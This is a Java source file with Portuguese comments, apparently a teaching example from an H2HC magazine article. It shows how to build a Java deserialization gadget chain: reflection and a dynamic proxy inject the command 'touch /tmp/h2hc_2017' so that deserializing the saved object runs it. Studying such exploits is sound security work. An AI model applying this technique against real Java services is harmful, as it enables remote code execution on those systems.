import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;

/**
 * Exemplo didático de como usar Reflection e Dynamic Proxy para desviar
 * o fluxo de execução durante a desserialização.
 * Esse código gera um payload para explorar um sistema hipotético que contenha
 * as classes ForgottenClass e SomeInvocationHandler no classpatch.
 *
 * -----------------------------------------------------------------------
 * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
 * https://www.h2hc.com.br/revista/
 * -----------------------------------------------------------------------
 *
 **** USAGE ****
 *
 * Compilando:
 * $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java
 *
 * Executando
 * $ rm /tmp/h2hc_2017
 * $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1
 * $ ls -all /tmp/h2hc_2017
 *
 *
 * @author @joaomatosf
 */
public class ExploitGadgetExample1{
    @SuppressWarnings ( {"unchecked"} )
    public static void main(String[] args)
            throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException,
            IOException, ClassNotFoundException {

        // Instancia um SomeInvocationHandler
        InvocationHandler handler = new SomeInvocationHandler();
        Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler
        fieldHandler.setAccessible(true); // torna o campo "cmd" acessível
        fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd"

        // criar interface Map
        Class[] interfaceMap = new Class[] {java.util.Map.class};
        // Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler
        Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler);

        // Intancia ForgottenClass (que sera' serializado)
        ForgottenClass gadget = new ForgottenClass();
        Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass
        field.setAccessible(true); // torna o campo "map" acessível
        field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map"

        // Serializa objeto do ForgottenClass e salva no disco
        System.out.println("Serializing ForgottenClass");
        FileOutputStream fos = new FileOutputStream("/tmp/object.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(gadget);
        oos.flush();

        // Desserializa objeto a partir do arquivo, para simular o que devera
        // ocorrer quando o objeto for desserializado por uma aplicacao
        System.out.println("Deserializing ForgottenClass");
        FileInputStream fis = new FileInputStream("/tmp/object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject(); // <-- Inicia a desserializacao!
    } //end main
}